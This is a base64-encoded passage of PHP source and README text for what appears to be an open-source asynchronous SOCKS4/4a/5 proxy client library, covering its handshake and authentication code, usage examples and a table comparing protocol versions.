CgkcHJvdG9jb2xWZXJzaW9uID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIGF1dGhlbnRpY2F0aW9uIHJlcXVpcmVzIFNPQ0tTNSwgb3RoZXJ3aXNlIHVzZSBTT0NLUzRhCiAgICAgICAgICAgICRwcm90b2NvbFZlcnNpb24gPSAoJGF1dGggPT09IG51bGwpID8gJzRhJyA6ICc1JzsKICAgICAgICB9CgogICAgICAgICRsb29wID0gJHRoaXMtPmxvb3A7CiAgICAgICAgJHRoYXQgPSAkdGhpczsKICAgICAgICBXaGVuOjphbGwoCiAgICAgICAgICAgIGFycmF5KAogICAgICAgICAgICAgICAgJHRoaXMtPmNvbm5lY3Rvci0+Y3JlYXRlKCR0aGlzLT5zb2Nrc0hvc3QsICR0aGlzLT5zb2Nrc1BvcnQpLT50aGVuKAogICAgICAgICAgICAgICAgICAgIG51bGwsCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gKCRlcnJvcikgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCdVbmFibGUgdG8gY29ubmVjdCB0byBzb2NrcyBzZXJ2ZXInLCAwLCAkZXJyb3IpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAkdGhpcy0+cmVzb2x2ZSgkaG9zdCktPnRoZW4oCiAgICAgICAgICAgICAgICAgICAgbnVsbCwKICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiAoJGVycm9yKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ1VuYWJsZSB0byByZXNvbHZlIHJlbW90ZSBob3N0bmFtZScsIDAsICRlcnJvcik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgKQogICAgICAgICAgICApLAogICAgICAgICAgICBmdW5jdGlvbiAoJGZ1bGZpbGxlZCkgdXNlICgkZGVmZXJyZWQsICRwb3J0LCAkdGltZXN0YW1wVGltZW91dCwgJHRoYXQsICRsb29wLCAkdGltZXJUaW1lb3V0LCAkcHJvdG9jb2xWZXJzaW9uLCAkYXV0aCkgewogICAgICAgICAgICAgICAgJGxvb3AtPmNhbmNlbFRpbWVyKCR0aW1lclRpbWVvdXQpOwoKICAgICAgICAgICAgICAgICR0aW1lb3V0ID0gbWF4KCR0aW1lc3RhbXBUaW1lb3V0IC0gbWljcm90aW1lKHRydWUpLCAwLjEpOwogICAgICAgICAgICAgICAgJGRlZmVycmVkLT5yZXNvbHZlKCR0aGF0LT5oYW5kbGVDb25uZWN0ZWRTb2NrcygkZnVsZmlsbGVkWzBdLCAkZnVsZmlsbGVkWzFdLCAkcG9ydCwgJHRpbWVvdXQsICRwcm90b2NvbFZlcnNpb24sICRhdXRoKSk7CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgIGZ1bmN0aW9uICgkZXJyb3IpIHVzZSAoJGRlZmVycmVkLCAkbG9vcCwgJHRpbWVyVGltZW91dCkgewogICAgICAgICAgICAgICAgJGxvb3AtPmNhbmNlbFRpbWVyKCR0aW1lclRpbWVvdXQpOwogICAgICAgICAgICAgICAgJGRlZmVycmVkLT5yZWplY3QobmV3IEV4Y2VwdGlvbignVW5hYmxlIHRvIGNvbm5lY3QgdG8gc29ja3Mgc2VydmVyJywgMCwgJGVycm9yKSk7CiAgICAgICAgICAgIH0KICAgICAgICApOwogICAgICAgIHJldHVybiAkZGVmZXJyZWQtPnByb21pc2UoKTsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlc29sdmUoJGhvc3QpCiAgICB7CiAgICAgICAgLy8gcmV0dXJuIGlmIGl0J3MgYWxyZWFkeSBhbiBJUCBvciB3ZSB3YW50IHRvIHJlc29sdmUgcmVtb3RlbHkgKHNvY2tzIDQgb25seSBzdXBwb3J0cyByZXNvbHZpbmcgbG9jYWxseSkKICAgICAgICBpZiAoZmFsc2UgIT09IGZpbHRlcl92YXIoJGhvc3QsIEZJTFRFUl9WQUxJREFURV9JUCkgfHwgKCR0aGlzLT5wcm90b2NvbFZlcnNpb24gIT09ICc0JyAmJiAhJHRoaXMtPnJlc29sdmVMb2NhbCkpIHsKICAgICAgICAgICAgcmV0dXJuIFdoZW46OnJlc29sdmUoJGhvc3QpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICR0aGlzLT5yZXNvbHZlci0+cmVzb2x2ZSgkaG9zdCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZUNvbm5lY3RlZFNvY2tzKFN0cmVhbSAkc3RyZWFtLCAkaG9zdCwgJHBvcnQsICR0aW1lb3V0LCAkcHJvdG9jb2xWZXJzaW9uLCAkYXV0aD1udWxsKQogICAgewogICAgICAgICRkZWZlcnJlZCA9IG5ldyBEZWZlcnJlZCgpOwogICAgICAgICRyZXNvbHZlciA9ICRkZWZlcnJlZC0+cmVzb2x2ZXIoKTsKCiAgICAgICAgJHRpbWVyVGltZW91dCA9ICR0aGlzLT5sb29wLT5hZGRUaW1lcigkdGltZW91dCwgZnVuY3Rpb24gKCkgdXNlICgkcmVzb2x2ZXIpIHsKICAgICAgICAgICAgJHJlc29sdmVyLT5yZWplY3QobmV3IEV4Y2VwdGlvbignVGltZW91dCB3aGlsZSBlc3RhYmxpc2hpbmcgc29ja3Mgc2Vzc2lvbicpKTsKICAgICAgICB9KTsKCiAgICAgICAgJHJlYWRlciA9IG5ldyBTdHJlYW1SZWFkZXIoJHN0cmVhbSk7CiAgICAgICAgJHN0cmVhbS0+b24oJ2RhdGEnLCBhcnJheSgkcmVhZGVyLCAnd3JpdGUnKSk7CgogICAgICAgIGlmICgkcHJvdG9jb2xWZXJzaW9uID09PSAnNScgfHwgJGF1dGggIT09IG51bGwpIHsKICAgICAgICAgICAgJHByb21pc2UgPSAkdGhpcy0+aGFuZGxlU29ja3M1KCRzdHJlYW0sICRob3N0LCAkcG9ydCwgJGF1dGgsICRyZWFkZXIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwcm9taXNlID0gJHRoaXMtPmhhbmRsZVNvY2tzNCgkc3RyZWFtLCAkaG9zdCwgJHBvcnQsICRyZWFkZXIpOwogICAgICAgIH0KICAgICAgICAkcHJvbWlzZS0+dGhlbihmdW5jdGlvbiAoKSB1c2UgKCRyZXNvbHZlciwgJHN0cmVhbSkgewogICAgICAgICAgICAkcmVzb2x2ZXItPnJlc29sdmUoJHN0cmVhbSk7CiAgICAgICAgfSwgZnVuY3Rpb24oJGVycm9yKSB1c2UgKCRyZXNvbHZlcikgewogICAgICAgICAgICAkcmVzb2x2ZXItPnJlamVjdChuZXcgRXhjZXB0aW9uKCdVbmFibGUgdG8gY29tbXVuaWNhdGUuLi4nLCAwLCAkZXJyb3IpKTsKICAgICAgICB9KTsKCiAgICAgICAgJGxvb3AgPSAkdGhpcy0+bG9vcDsKICAgICAgICAkZGVmZXJyZWQtPnRoZW4oCiAgICAgICAgICAgIGZ1bmN0aW9uIChTdHJlYW0gJHN0cmVhbSkgdXNlICgkdGltZXJUaW1lb3V0LCAkbG9vcCwgJHJlYWRlcikgewogICAgICAgICAgICAgICAgJGxvb3AtPmNhbmNlbFRpbWVyKCR0aW1lclRpbWVvdXQpOwogICAgICAgICAgICAgICAgJHN0cmVhbS0+cmVtb3ZlQWxsTGlzdGVuZXJzKCdlbmQnKTsKCiAgICAgICAgICAgICAgICAkc3RyZWFtLT5yZW1vdmVMaXN0ZW5lcignZGF0YScsIGFycmF5KCRyZWFkZXIsICd3cml0ZScpKTsKCiAgICAgICAgICAgICAgICByZXR1cm4gJHN0cmVhbTsKICAgICAgICAgICAgfSwKICAgICAgICAgICAgZnVuY3Rpb24gKCRlcnJvcikgdXNlICgkc3RyZWFtLCAkdGltZXJUaW1lb3V0LCAkbG9vcCwgJHJlYWRlcikgewogICAgICAgICAgICAgICAgJGxvb3AtPmNhbmNlbFRpbWVyKCR0aW1lclRpbWVvdXQpOwogICAgICAgICAgICAgICAgJHN0cmVhbS0+Y2xvc2UoKTsKCiAgICAgICAgICAgICAgICAkc3RyZWFtLT5yZW1vdmVMaXN0ZW5lcignZGF0YScsIGFycmF5KCRyZWFkZXIsICd3cml0ZScpKTsKCiAgICAgICAgICAgICAgICByZXR1cm4gJGVycm9yOwogICAgICAgICAgICB9CiAgICAgICAgKTsKCiAgICAgICAgJHN0cmVhbS0+b24oJ2VuZCcsIGZ1bmN0aW9uIChTdHJlYW0gJHN0cmVhbSkgdXNlICgkcmVzb2x2ZXIpIHsKICAgICAgICAgICAgJHJlc29sdmVyLT5yZWplY3QobmV3IEV4Y2VwdGlvbignUHJlbWF0dXJlIGVuZCB3aGlsZSBlc3RhYmxpc2hpbmcgc29ja3Mgc2Vzc2lvbicpKTsKICAgICAgICB9KTsKCiAgICAgICAgcmV0dXJuICRkZWZlcnJlZC0+cHJvbWlzZSgpOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBoYW5kbGVTb2NrczQoU3RyZWFtICRzdHJlYW0sICRob3N0LCAkcG9ydCwgU3RyZWFtUmVhZGVyICRyZWFkZXIpCiAgICB7CiAgICAgICAgLy8gZG8gbm90IHJlc29sdmUgaG9zdG5hbWUuIG9ubHkgdHJ5IHRvIGNvbnZlcnQgdG8gSVAKICAgICAgICAkaXAgPSBpcDJsb25nKCRob3N0KTsKCiAgICAgICAgLy8gc2VuZCBJUCBvciAoMC4wLjAuMSkgaWYgaW52YWxpZAogICAgICAgICRkYXRhID0gcGFjaygnQzJuTkMnLCAweDA0LCAweDAxLCAkcG9ydCwgJGlwID09PSBmYWxzZSA/IDEgOiAkaXAsIDB4MDApOwoKICAgICAgICBpZiAoJGlwID09PSBmYWxzZSkgewogICAgICAgICAgICAvLyBob3N0IGlzIG5vdCBhIHZhbGlkIElQID0+IHNlbmQgYWxvbmcgaG9zdG5hbWUgKFNPQ0tTNGEpCiAgICAgICAgICAgICRkYXRhIC49ICRob3N0IC4gcGFjaygnQycsIDB4MDApOwogICAgICAgIH0KCiAgICAgICAgJHN0cmVhbS0+d3JpdGUoJGRhdGEpOwoKICAgICAgICByZXR1cm4gJHJlYWRlci0+cmVhZEJpbmFyeShhcnJheSgKICAgICAgICAgICAgJ251bGwnICAgPT4gJ0MnLAogICAgICAgICAgICAnc3RhdHVzJyA9PiAnQycsCiAgICAgICAgICAgICdwb3J0JyAgID0+ICduJywKICAgICAgICAgICAgJ2lwJyAgICAgPT4gJ04nCiAgICAgICAgKSktPnRoZW4oZnVuY3Rpb24gKCRkYXRhKSB7CiAgICAgICAgICAgIGlmICgkZGF0YVsnbnVsbCddICE9PSAweDAwIHx8ICRkYXRhWydzdGF0dXMnXSAhPT0gMHg1YSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbignSW52YWxpZCBTT0NLUyByZXNwb25zZScpOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGhhbmRsZVNvY2tzNShTdHJlYW0gJHN0cmVhbSwgJGhvc3QsICRwb3J0LCAkYXV0aD1udWxsLCBTdHJlYW1SZWFkZXIgJHJlYWRlcikKICAgIHsKICAgICAgICAvLyBwcm90b2NvbCB2ZXJzaW9uIDUKICAgICAgICAkZGF0YSA9IHBhY2soJ0MnLCAweDA1KTsKICAgICAgICBpZiAoJGF1dGggPT09IG51bGwpIHsKICAgICAgICAgICAgLy8gb25lIG1ldGhvZCwgbm8gYXV0aGVudGljYXRpb24KICAgICAgICAgICAgJGRhdGEgLj0gcGFjaygnQzInLCAweDAxLCAweDAwKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyB0d28gbWV0aG9kcywgdXNlcm5hbWUvcGFzc3dvcmQgYW5kIG5vIGF1dGhlbnRpY2F0aW9uCiAgICAgICAgICAgICRkYXRhIC49IHBhY2soJ0MzJywgMHgwMiwgMHgwMiwgMHgwMCk7CiAgICAgICAgfQogICAgICAgICRzdHJlYW0tPndyaXRlKCRkYXRhKTsKCiAgICAgICAgJHRoYXQgPSAkdGhpczsKCiAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRCaW5hcnkoYXJyYXkoCiAgICAgICAgICAgICd2ZXJzaW9uJyA9PiAnQycsCiAgICAgICAgICAgICdtZXRob2QnICA9PiAnQycKICAgICAgICApKS0+dGhlbihmdW5jdGlvbiAoJGRhdGEpIHVzZSAoJGF1dGgsICRzdHJlYW0sICRyZWFkZXIpIHsKICAgICAgICAgICAgaWYgKCRkYXRhWyd2ZXJzaW9uJ10gIT09IDB4MDUpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ1ZlcnNpb24vUHJvdG9jb2wgbWlzbWF0Y2gnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCRkYXRhWydtZXRob2QnXSA9PT0gMHgwMiAmJiAkYXV0aCAhPT0gbnVsbCkgewogICAgICAgICAgICAgICAgLy8gdXNlcm5hbWUvcGFzc3dvcmQgYXV0aGVudGljYXRpb24gcmVxdWVzdGVkIGFuZCBwcm92aWRlZAogICAgICAgICAgICAgICAgJHN0cmVhbS0+d3JpdGUoJGF1dGgpOwoKICAgICAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkQmluYXJ5KGFycmF5KAogICAgICAgICAgICAgICAgICAgICd2ZXJzaW9uJyA9PiAnQycsCiAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgID0+ICdDJwogICAgICAgICAgICAgICAgKSktPnRoZW4oZnVuY3Rpb24gKCRkYXRhKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRkYXRhWyd2ZXJzaW9uJ10gIT09IDB4MDEgfHwgJGRhdGFbJ3N0YXR1cyddICE9PSAweDAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ1VzZXJuYW1lL1Bhc3N3b3JkIGF1dGhlbnRpY2F0aW9uIGZhaWxlZCcpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9IGVsc2UgaWYgKCRkYXRhWydtZXRob2QnXSAhPT0gMHgwMCkgewogICAgICAgICAgICAgICAgLy8gYW55IG90aGVyIG1ldGhvZCB0aGFuICJubyBhdXRoZW50aWNhdGlvbiIKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJ1VuYWNjZXB0YWJsZSBhdXRoZW50aWNhdGlvbiBtZXRob2QgcmVxdWVzdGVkJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9KS0+dGhlbihmdW5jdGlvbiAoKSB1c2UgKCRzdHJlYW0sICRyZWFkZXIsICRob3N0LCAkcG9ydCkgewogICAgICAgICAgICAvLyBkbyBub3QgcmVzb2x2ZSBob3N0bmFtZS4gb25seSB0cnkgdG8gY29udmVydCB0byAoYmluYXJ5L3BhY2tlZCkgSVAKICAgICAgICAgICAgJGlwID0gQGluZXRfcHRvbigkaG9zdCk7CgogICAgICAgICAgICAkZGF0YSA9IHBhY2soJ0MzJywgMHgwNSwgMHgwMSwgMHgwMCk7CiAgICAgICAgICAgIGlmICgkaXAgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAvLyBub3QgYW4gSVAsIHNlbmQgYXMgaG9zdG5hbWUKICAgICAgICAgICAgICAgICRkYXRhIC49IHBhY2soJ0MyJywgMHgwMywgc3RybGVuKCRob3N0KSkgLiAkaG9zdDsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIC8vIHNlbmQgYXMgSVB2NCAvIElQdjYKICAgICAgICAgICAgICAgICRkYXRhIC49IHBhY2soJ0MnLCAoc3RycG9zKCRob3N0LCAnOicpID09PSBmYWxzZSkgPyAweDAxIDogMHgwNCkgLiAkaXA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGRhdGEgLj0gcGFjaygnbicsICRwb3J0KTsKCiAgICAgICAgICAgICRzdHJlYW0tPndyaXRlKCRkYXRhKTsKCiAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkQmluYXJ5KGFycmF5KAogICAgICAgICAgICAgICAgJ3ZlcnNpb24nID0+ICdDJywKICAgICAgICAgICAgICAgICdzdGF0dXMnICA9PiAnQycsCiAgICAgICAgICAgICAgICAnbnVsbCcgICAgPT4gJ0MnLAogICAgICAgICAgICAgICAgJ3R5cGUnICAgID0+ICdDJwogICAgICAgICAgICApKTsKICAgICAgICB9KS0+dGhlbihmdW5jdGlvbiAoJGRhdGEpIHVzZSAoJHJlYWRlcikgewogICAgICAgICAgICBpZiAoJGRhdGFbJ3ZlcnNpb24nXSAhPT0gMHgwNSB8fCAkZGF0YVsnc3RhdHVzJ10gIT09IDB4MDAgfHwgJGRhdGFbJ251bGwnXSAhPT0gMHgwMCkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbignSW52YWxpZCBTT0NLUyByZXNwb25zZScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZGF0YVsndHlwZSddID09PSAweDAxKSB7CiAgICAgICAgICAgICAgICAvLyBJUHY0IGFkZHJlc3MgPT4gc2tpcCBJUCBhbmQgcG9ydAogICAgICAgICAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRMZW5ndGgoNik7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoJGRhdGFbJ3R5cGUnXSA9PT0gMHgwMykgewogICAgICAgICAgICAgICAgLy8gZG9tYWluIG5hbWUgPT4gcmVhZCBkb21haW4gbmFtZSBsZW5ndGgKICAgICAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkQmluYXJ5KGFycmF5KAogICAgICAgICAgICAgICAgICAgICdsZW5ndGgnID0+ICdDJwogICAgICAgICAgICAgICAgKSktPnRoZW4oZnVuY3Rpb24gKCRkYXRhKSB1c2UgKCR0aGF0KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gc2tpcCBkb21haW4gbmFtZSBhbmQgcG9ydAogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhhdC0+cmVhZExlbmd0aCgkZGF0YVsnbGVuZ3RoJ10gKyAyKTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9IGVsc2UgaWYgKCRkYXRhWyd0eXBlJ10gPT09IDB4MDQpIHsKICAgICAgICAgICAgICAgIC8vIElQdjYgYWRkcmVzcyA9PiBza2lwIElQIGFuZCBwb3J0CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlYWRlci0+cmVhZExlbmd0aCgxOCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCdJbnZhbGlkIFNPQ0tTIHJlcG9uc2U6IEludmFsaWQgYWRkcmVzcyB0eXBlJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgIH0KfQojIGNsdWUvc29ja3MtcmVhY3QgLSBTT0NLUyBjbGllbnQgYW5kIHNlcnZlciBbIVtCdWlsZCBTdGF0dXNdKGh0dHBzOi8vdHJhdmlzLWNpLm9yZy9jbHVlL3BocC1zb2Nrcy1yZWFjdC5zdmc/YnJhbmNoPW1hc3RlcildKGh0dHBzOi8vdHJhdmlzLWNpLm9yZy9jbHVlL3BocC1zb2Nrcy1yZWFjdCkKCkFzeW5jIFNPQ0tTIGNsaWVudCBsaWJyYXJ5IHRvIGNvbm5lY3QgdG8gU09DS1M0LCBTT0NLUzRhIGFuZCBTT0NLUzUgcHJveHkgc2VydmVycywKYXMgd2VsbCBhcyBhIFNPQ0tTIHNlcnZlciBpbXBsZW1lbnRhdGlvbiwgY2FwYWJsZSBvZiBoYW5kbGluZyBtdWx0aXBsZSBjb25jdXJyZW50CmNvbm5lY3Rpb25zIGluIGEgbm9uLWJsb2NraW5nIGZhc2hpb24uCgojIyBEZXNjcmlwdGlvbgoKVGhlIFNPQ0tTIHByb3RvY29sIGZhbWlseSBjYW4gYmUgdXNlZCB0byBlYXNpbHkgdHVubmVsIFRDUCBjb25uZWN0aW9ucyBpbmRlcGVuZGVudApvZiB0aGUgYWN0dWFsIGFwcGxpY2F0aW9uIGxldmVsIHByb3RvY29sLCBzdWNoIGFzIEhUVFAsIFNNVFAsIElNQVAsIFRlbG5ldCwgZXRjLgoKIyMgUXVpY2tzdGFydCBleGFtcGxlcwoKT25jZSBbaW5zdGFsbGVkXSgjaW5zdGFsbCksIGluaXRpYWxpemUgYSBjb25uZWN0aW9uIHRvIGEgcmVtb3RlIFNPQ0tTIHByb3h5IHNlcnZlcjoKCmBgYFBIUAo8P3BocAppbmNsdWRlX29uY2UgX19ESVJfXy4nL3ZlbmRvci9hdXRvbG9hZC5waHAnOwoKJGxvb3AgPSBSZWFjdFxFdmVudExvb3BcRmFjdG9yeTo6Y3JlYXRlKCk7CgovLyBjcmVhdGUgU09DS1MgY2xpZW50IHdoaWNoIGNvbW11bmljYXRlcyB3aXRoIFNPQ0tTIHNlcnZlciAxMjcuMC4wLjE6OTA1MAokY2xpZW50ID0gbmV3IENsdWVcUmVhY3RcU29ja3NcQ2xpZW50KCRsb29wLCAnMTI3LjAuMC4xJywgOTA1MCk7CgovLyBub3cgd29yayB3aXRoIHlvdXIgJGNsaWVudCwgc2VlIGJlbG93CgokbG9vcC0+cnVuKCk7CmBgYAoKIyMjIFR1bm5lbGxlZCBUQ1AgY29ubmVjdGlvbnMKClRoZSBgQ2xpZW50YCB1c2VzIGEgW1Byb21pc2VdKGh0dHBzOi8vZ2l0aHViLmNvbS9yZWFjdHBocC9wcm9taXNlKS1iYXNlZCBpbnRlcmZhY2Ugd2hpY2ggbWFrZXMgd29ya2luZyB3aXRoIGFzeW5jaHJvbm91cyBmdW5jdGlvbnMgYSBicmVlemUuCkxldCdzIG9wZW4gdXAgYSBUQ1AgW1N0cmVhbV0oaHR0cHM6Ly9naXRodWIuY29tL3JlYWN0cGhwL3N0cmVhbSkgY29ubmVjdGlvbiBhbmQgd3JpdGUgc29tZSBkYXRhOgpgYGBQSFAKJHRjcCA9ICRjbGllbnQtPmNyZWF0ZUNvbm5lY3RvcigpOwoKJHRjcC0+Y3JlYXRlKCd3d3cuZ29vZ2xlLmNvbScsODApLT50aGVuKGZ1bmN0aW9uIChSZWFjdFxTdHJlYW1cU3RyZWFtICRzdHJlYW0pIHsKICAgIGVjaG8gJ2Nvbm5lY3RlZCB0byB3d3cuZ29vZ2xlLmNvbTo4MCc7CiAgICAkc3RyZWFtLT53cml0ZSgiR0VUIC8gSFRUUC8xLjBcclxuXHJcbiIpOwogICAgLy8gLi4uCn0pOwpgYGAKCiMjIyBTU0wvVExTIGVuY3J5cHRlZAoKSWYgeW91IHdhbnQgdG8gY29ubmVjdCB0byBhcmJpdHJhcnkgU1NML1RMUyBzZXJ2ZXJzLCB0aGVyZSBzdXJlIHRvbyBpcyBhbiBlYXN5IHRvIHVzZSBBUEkgYXZhaWxhYmxlOgpgYGBQSFAKJHNzbCA9ICRjbGllbnQtPmNyZWF0ZVNlY3VyZUNvbm5lY3RvcigpOwoKLy8gbm93IGNyZWF0ZSBhbiBTU0wgZW5jcnlwdGVkIGNvbm5lY3Rpb24gKG5vdGljZSB0aGUgJHNzbCBpbnN0ZWFkIG9mICR0Y3ApCiRzc2wtPmNyZWF0ZSgnd3d3Lmdvb2dsZS5jb20nLDQ0MyktPnRoZW4oZnVuY3Rpb24gKFJlYWN0XFN0cmVhbVxTdHJlYW0gJHN0cmVhbSkgewogICAgLy8gcHJvY2VlZCB3aXRoIGp1c3QgdGhlIHBsYWluIHRleHQgZGF0YQogICAgLy8gZXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQvZGVjcnlwdGVkIGF1dG9tYXRpY2FsbHkKICAgIGVjaG8gJ2Nvbm5lY3RlZCB0byBTU0wgZW5jcnlwdGVkIHd3dy5nb29nbGUuY29tJzsKICAgICRzdHJlYW0tPndyaXRlKCJHRVQgLyBIVFRQLzEuMFxyXG5cclxuIik7CiAgICAvLyAuLi4KfSk7CmBgYAoKIyMjIEhUVFAgcmVxdWVzdHMKCkhUVFAgb3BlcmF0ZXMgb24gYSBoaWdoZXIgbGF5ZXIgdGhhbiB0aGlzIGxvdy1sZXZlbCBTT0NLUyBpbXBsZW1lbnRhdGlvbi4KSWYgeW91IHdhbnQgdG8gaXNzdWUgSFRUUCByZXF1ZXN0cywgeW91IGNhbiBhZGQgYSBkZXBlbmRlbmN5IGZvcgpbY2x1ZS9idXp6LXJlYWN0XShodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtYnV6ei1yZWFjdCkuCkl0IGNhbiBpbnRlcmFjdCB3aXRoIHRoaXMgbGlicmFyeSBieSBpc3N1aW5nIGFsbApbaHR0cCByZXF1ZXN0cyB0aHJvdWdoIGEgU09DS1Mgc2VydmVyXShodHRwczovL2dpdGh1Yi5jb20vY2x1ZS9waHAtYnV6ei1yZWFjdC8jdmlhLXNvY2tzLXNlcnZlcikuClRoaXMgd29ya3MgZm9yIGJvdGggcGxhaW4gSFRUUCBhbmQgU1NMIGVuY3J5cHRlZCBIVFRQUyByZXF1ZXN0cy4KCiMjIFNPQ0tTIFByb3RvY29sIHZlcnNpb25zICYgZGlmZmVyZW5jZXMKCldoaWxlIFNPQ0tTNCBhbHJlYWR5IGhhZCAoYSBzb21ld2hhdCBsaW1pdGVkKSBzdXBwb3J0IGZvciBgU09DS1MgQklORGAgcmVxdWVzdHMKYW5kIFNPQ0tTNSBhZGRlZCBnZW5lcmljIFVEUCBzdXBwb3J0IChgU09DS1MgVURQQVNTT0NJQVRFYCksIHRoaXMgbGlicmFyeQpmb2N1c2VzIG9uIHRoZSBtb3N0IGNvbW1vbmx5IHVzZWQgY29yZSBmZWF0dXJlIG9mIGBTT0NLUyBDT05ORUNUYC4KSW4gdGhpcyBtb2RlLCBhIFNPQ0tTIHNlcnZlciBhY3RzIGFzIGEgZ2VuZXJpYyBwcm94eSBhbGxvd2luZyBoaWdoZXIgbGV2ZWwKYXBwbGljYXRpb24gcHJvdG9jb2xzIHRvIHdvcmsgdGhyb3VnaCBpdC4KCjx0YWJsZT4KICA8dHI+CiAgICA8dGg+PC90aD4KICAgIDx0aD5TT0NLUzQ8L3RoPgogICAgPHRoPlNPQ0tTNGE8L3RoPgogICAgPHRoPlNPQ0tTNTwvdGg+CiAgPC90cj4KICA8dHI+CiAgICA8dGg+UHJvdG9jb2wgc3BlY2lmaWNhdGlvbjwvdGg+CiAgICA8dGQ+PGEgaHJlZj0iaHR0cDovL2Z0cC5pY20uZWR1LnBsL3BhY2thZ2VzL3NvY2tzL3NvY2tzNC9TT0NLUzQucHJvdG9jb2wiPlNPQ0tTNC5wcm90b2NvbDwvYT48L3RkPgogICAgPHRkPjxhIGhyZWY9Imh0dHA6Ly9mdHAuaWNtLmVkdS5wbC9wYWNrYWdlcy9zb2Nrcy9zb2NrczQvU09DS1M0QS5wcm90b2NvbCI+U09DS1M0QS5wcm90b2NvbDwvYT48L3RkPgogICAgPHRkPjxhIGhyZWY9Imh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzE5MjgiPlJGQyAxOTI4PC9hPjwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGg+VHVubmVsIG91dGdvaW5nIFRDUCBjb25uZWN0aW9uczwvdGg+CiAgICA8dGQ+4pyTPC90ZD4KICAgIDx0ZD7inJM8L3RkPgogICAgPHRkPuKckzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGg+PGEgaHJlZj0iI3JlbW90ZS12cy1sb2NhbC1kbnMtcmVzb2x2aW5nIj5SZW1vdGUgRE5TIHJlc29sdmluZzwvYT48L3RoPgogICAgPHRkPuKclzwvdGQ+CiAgICA8dGQ+4pyTPC90ZD4KICAgIDx0ZD7inJM8L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRoPklQdjYgYWRkcmVzc2VzPC90aD4KICAgIDx0ZD7inJc8L3RkPgogICAgPHRkPuKclzwvdGQ+CiAgICA8dGQ+4pyTPC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0aD48YSBocmVmPSIjdXNlcm5hbWUtLXBhc3N3b3JkLWF1dGhlbnRpY2F0aW9uIj5Vc2VybmFtZS9QYXNzd29yZCBhdXRoZW50aWNhdGlvbjwvYT48L3RoPgogICAgPHRkPuKclzwvdGQ+CiAgICA8dGQ+4pyXPC90ZD4KICAgIDx0ZD7inJMgKGFzIHBlciA8YSBocmVmPSJodHRwOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmMxOTI5Ij5SRkMgMTkyOTwvYT4pPC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0aD5IYW5kc2hha2UgIyByb3VuZHRyaXBzPC90aD4KICAgIDx0ZD4xPC90ZD4KICAgIDx0ZD4xPC90ZD4KICAgIDx0ZD4yICgzIHdpdGggYXV0aGVudGljYXRpb24pPC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0aD5IYW5kc2hha2UgdHJhZmZpYzxiciAvPisgcmVtb3RlIEROUzwvdGg+CiAgICA8dGQ+MTcgYnl0ZXM8YnIgLz7inJc8L3RkPgogICAgPHRkPjE3IGJ5dGVzPGJyIC8+KyBob3N0bmFtZSArIDE8L3RkPgogICAgPHRkPjxlbT52YXJpYWJsZTwvZW0+ICgrIGF1dGggKyBJUHY2KTxiciAvPisgaG9zdG5hbWUgLSAzPC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKTm90ZSwgdGhpcyBpcyBfX25vdF9fIGEgZnVsbCBTT0NLUzUgaW